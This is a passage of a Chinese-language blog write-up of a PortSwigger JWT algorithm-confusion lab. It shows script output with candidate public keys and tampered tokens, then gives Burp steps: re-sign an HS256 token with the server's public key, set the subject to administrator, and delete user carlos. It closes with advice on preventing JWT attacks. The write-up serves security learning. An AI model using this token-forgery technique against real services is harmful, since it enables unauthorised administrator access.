    Base64 encoded pkcs1 key: LS0tLS1CRUdJTiBSU0EgUFVCTElDIEtFWS0tLS0tCk1JSUJDZ0tDQVFFQlNXQUdLNURQNnFOTDZiOGhvUEZqSkRGQkJoL2RqbVlGS2N2eVFFVHEwVnZ3NWRPZ3AxOTEKMlFMRGJEZHcxaFVyQlpydGxZR1c2TXVmcDlXdTFGbUhpYjBsM2k3cGR0bTNzM0RqUHBndHpiL2J0b1RkOXZseAp2cGd6WGRwLzJIRVJUL1RDa1lHOHVkNXN5cmFVdzg2eFN1VzVEUjFNUUJDMnBCRmp4YUI1RHQxT243RWN2c0wzCmI2M0NsS25qakR3enJrQXJKT25hUlFmU3FlbmtjTWdLOHdoYnp5cEIySEtIYmR2aURUNjBBYmNsQVRPZE1WWUUKUHR6T3VZY3NKVm5QMlFqaGtUSUYxT09MRWtvckYvQ2gvQy9vNHNxNkE5bGV6RHh0U3BNSWVnRnRoYTRhb1NWagpFazI1QTdNM3VZSmVLNjdQeUwyTkJ3dmZTNVlTSENSdnpnSURBUUFCCi0tLS0tRU5EIFJTQSBQVUJMSUMgS0VZLS0tLS0K
    Tampered JWT: eyJraWQiOiIyMGJlZjkxMC00MTdjLTRiNGQtYmU2ZC0zNWI1YmNhNmE3ZTYiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiAicG9ydHN3aWdnZXIiLCAic3ViIjogIndpZW5lciIsICJleHAiOiAxNjgwMzE3MjQxfQ.OvdW5232hnOcoul889_KLqmhZ2PanRZN4VfzN9Zgoc8

Found n with multiplier 2:
    Base64 encoded x509 key: LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUFwTEFERmNobjlWR2w5TitRMEhpeApraGlnZ3cvdXh6TUNsT1g1SUNKMWFLMzRjdW5RVTYrNjdJRmh0aHU0YXdxVmdzMTJ5c0RMZEdYUDArclhhaXpECnhONlM3eGQwdTJ6YjJiaHhuMHdXNXQvdDIwSnUrM3k0MzB3WnJ1MC83RGlJcC9waFNNRGVYTzgyWlZ0S1llZFkKcFhMY2hvNm1JQWhiVWdpeDR0QThoMjZuVDlpT1gyRjd0OWJoU2xUeHhoNFoxeUFWa25UdElvUHBWUFR5T0dRRgplWVF0NTVVZzdEbER0dTN4QnA5YUFOdVNnSm5PbUtzQ0gyNW5YTU9XRXF6bjdJUnd5SmtDNm5IRmlTVVZpL2hRCi9oZjBjV1ZkQWV5dlpoNDJwVW1FUFFDMnd0Y05VSkt4aVNiY2dkbWIzTUV2RmRkbjVGN0dnNFh2cGNzSkRoSTMKNXdJREFRQUIKLS0tLS1FTkQgUFVCTElDIEtFWS0tLS0tCg==
    
    ------ok
    Tampered JWT:    eyJraWQiOiIyMGJlZjkxMC00MTdjLTRiNGQtYmU2ZC0zNWI1YmNhNmE3ZTYiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiAicG9ydHN3aWdnZXIiLCAic3ViIjogIndpZW5lciIsICJleHAiOiAxNjgwMzE3MjQxfQ.IdmuFzaIDnFjvk0Ow-D1d1EoMMwxREB7T4GYh_aRhRs
    Base64 encoded pkcs1 key: LS0tLS1CRUdJTiBSU0EgUFVCTElDIEtFWS0tLS0tCk1JSUJDZ0tDQVFFQXBMQURGY2huOVZHbDlOK1EwSGl4a2hpZ2d3L3V4ek1DbE9YNUlDSjFhSzM0Y3VuUVU2KzYKN0lGaHRodTRhd3FWZ3MxMnlzRExkR1hQMCtyWGFpekR4TjZTN3hkMHUyemIyYmh4bjB3VzV0L3QyMEp1KzN5NAozMHdacnUwLzdEaUlwL3BoU01EZVhPODJaVnRLWWVkWXBYTGNobzZtSUFoYlVnaXg0dEE4aDI2blQ5aU9YMkY3CnQ5YmhTbFR4eGg0WjF5QVZrblR0SW9QcFZQVHlPR1FGZVlRdDU1VWc3RGxEdHUzeEJwOWFBTnVTZ0puT21Lc0MKSDI1blhNT1dFcXpuN0lSd3lKa0M2bkhGaVNVVmkvaFEvaGYwY1dWZEFleXZaaDQycFVtRVBRQzJ3dGNOVUpLeAppU2JjZ2RtYjNNRXZGZGRuNUY3R2c0WHZwY3NKRGhJMzV3SURBUUFCCi0tLS0tRU5EIFJTQSBQVUJMSUMgS0VZLS0tLS0K
    Tampered JWT: eyJraWQiOiIyMGJlZjkxMC00MTdjLTRiNGQtYmU2ZC0zNWI1YmNhNmE3ZTYiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiAicG9ydHN3aWdnZXIiLCAic3ViIjogIndpZW5lciIsICJleHAiOiAxNjgwMzE3MjQxfQ.Wk8kGl967Epl1IT3QZLq_eNkiDjIi2FUzbv9YEqn__o

使用其中每个密钥签名的篡改 JWT。

从第一个 X.509 条目复制被篡改的 JWT(您可能只有一个)。

返回到 Burp 中继器中的请求,并将路径更改回 。/my-account

将会话 Cookie 替换为此新的 JWT,然后发送请求。

如果您收到 200 响应并成功访问您的帐户页面,则这是正确的 X.509 密钥。

如果您收到将您重定向到并剥离会话 cookie 的 302 响应,则这是错误的 X.509 密钥。在这种情况下,请对脚本输出的每个 X.509 密钥使用篡改的 JWT 重复此步骤。/login

image-20230331105423518

第 3 部分 - 生成恶意签名密钥

在终端窗口中,复制您在上一节中标识为正确的 Base64 编码的 X.509 密钥。请注意,您需要选择密钥,而不是您在上一节中使用的篡改 JWT。

在 Burp 中,转到“JWT 编辑器密钥”选项卡,然后单击“新建对称密钥”。

在对话框中,单击“生成”以生成 JWK 格式的新密钥。

将属性的生成值替换为刚刚复制的 Base64 编码的键。请注意,这应该是实际的密钥,而不是您在上一节中使用的被篡改的 JWT。k

保存密钥。

image-20230331105705372

第 4 部分 - 修改令牌并对其进行签名

返回到 Burp 中继器中的请求,并将路径更改为 。/admin

切换到扩展生成的 JSON Web 令牌选项卡。

在 JWT 的标头中,确保参数设置为 。alg HS256

在 JWT 有效负载中,将声明的值更改为 。sub. administrator

在选项卡底部,单击“签名”,然后选择在上一节中生成的对称密钥。

确保选中“不修改标头”选项,然后单击“确定”。修改后的令牌现在使用服务器的公钥作为密钥进行签名。

发送请求并观察您是否已成功访问管理面板。

在响应中,找到用于删除卡洛斯 () 的 URL。将请求发送到此终结点以解决实验室问题。/admin/delete?username=carlos

image-20230331110622385

删除用户

image-20230331110711030

如何防止 JWT 攻击

您可以通过采取以下高级措施来保护自己的网站免受我们介绍的许多攻击:

  • 使用最新的库来处理 JWT,并确保开发人员完全了解其工作原理以及任何安全隐患。现代库使您更难以在不小心中安全地实现它们,但由于相关规范固有的灵活性,这并非万无一失。
  • 确保对收到的任何 JWT 执行可靠的签名验证,并考虑使用意外算法签名的 JWT 等边缘情况。
  • 对标头强制实施允许主机的严格白名单。jku
  • 确保你不容易受到通过标头参数进行的路径遍历或 SQL 注入的影响。kid

JWT 处理的其他最佳实践

尽管为了避免引入漏洞并非绝对必要,但我们建议在应用程序中使用 JWT 时遵循以下最佳实践:

  • 始终为您颁发的任何令牌设置到期日期。
  • 尽可能避免在 URL 参数中发送令牌。
  • 包括(受众)声明(或类似声明)以指定令牌的预期接收者。这可以防止它在不同的网站上使用。aud
  • 使颁发服务器能够吊销令牌(例如,在注销时)。

由以下进行整理

https://www.invicti.com/blog/web-security/json-web-token-jwt-attacks-vulnerabilities/
https://portswigger.net/web-security/jwt

posted @ 2023-09-22 14:10  JKding233  阅读(391)  评论(0)    收藏  举报